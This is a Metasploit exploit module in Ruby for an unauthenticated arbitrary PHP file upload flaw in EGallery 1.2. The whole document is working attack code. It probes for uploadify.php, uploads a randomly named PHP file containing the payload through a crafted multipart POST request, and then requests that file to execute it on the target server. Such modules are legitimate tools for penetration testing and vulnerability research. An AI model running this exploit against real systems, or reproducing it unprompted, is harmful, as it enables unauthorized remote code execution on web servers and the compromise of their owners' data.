EGallery - Arbitrary '.PHP' File Upload (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "EGallery PHP File Upload Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability found in EGallery 1.2 By abusing the
				uploadify.php file, a malicious user can upload a file to the egallery/ directory
				without any authentication, which results in arbitrary code execution. The module
				has been tested successfully on Ubuntu 10.04.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Sammy FORGIT', # Discovery, PoC
					'juan' # Metasploit module
				],
			'References'     =>
				[
					['OSVDB', '83891'],
					['BID', '54464'],
					['URL', 'http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					['EGallery 1.2', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jul 08 2012",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample'])
				], self.class)
	end

	def check
		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'

		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "#{uri}egallery/uploadify.php"
		})

		if res and res.code == 200 and res.body.empty?
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'

		peer = "#{rhost}:#{rport}"
		payload_name = rand_text_alpha(rand(10) + 5) + '.php'
		boundary = Rex::Text.rand_text_hex(7)

		post_data = "--#{boundary}\r\n"
		post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n\r\n"
		post_data << "#{payload_name}\r\n"
		post_data << "--#{boundary}\r\n"
		post_data << "Content-Disposition: form-data; name=\"folder\"\r\n\r\n"
		post_data << "#{uri}\r\n"
		post_data << "--#{boundary}\r\n"
		post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
		post_data << "<?php "
		post_data << payload.encoded
		post_data << " ?>\r\n"
		post_data << "--#{boundary}--\r\n"

		print_status("#{peer} - Sending PHP payload (#{payload_name})")
		res = send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{uri}egallery/uploadify.php",
			'ctype'  => "multipart/form-data; boundary=#{boundary}",
			'data'   => post_data
		})

		# If the server returns 200 and the body contains our payload name,
		# we assume we uploaded the malicious file successfully
		if not res or res.code != 200 or res.body !~ /#{payload_name}/
			print_error("#{peer} - File wasn't uploaded, aborting!")
			return
		end

		print_status("#{peer} - Executing PHP payload (#{payload_name})")
		# Execute our payload
		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "#{uri}#{payload_name}"
		})

		# If we don't get a 200 when we request our malicious payload, we suspect
		# we don't have a shell, either.  Print the status code for debugging purposes.
		if res and res.code != 200
			print_status("#{peer} - Server returned #{res.code.to_s}")
		end
	end

end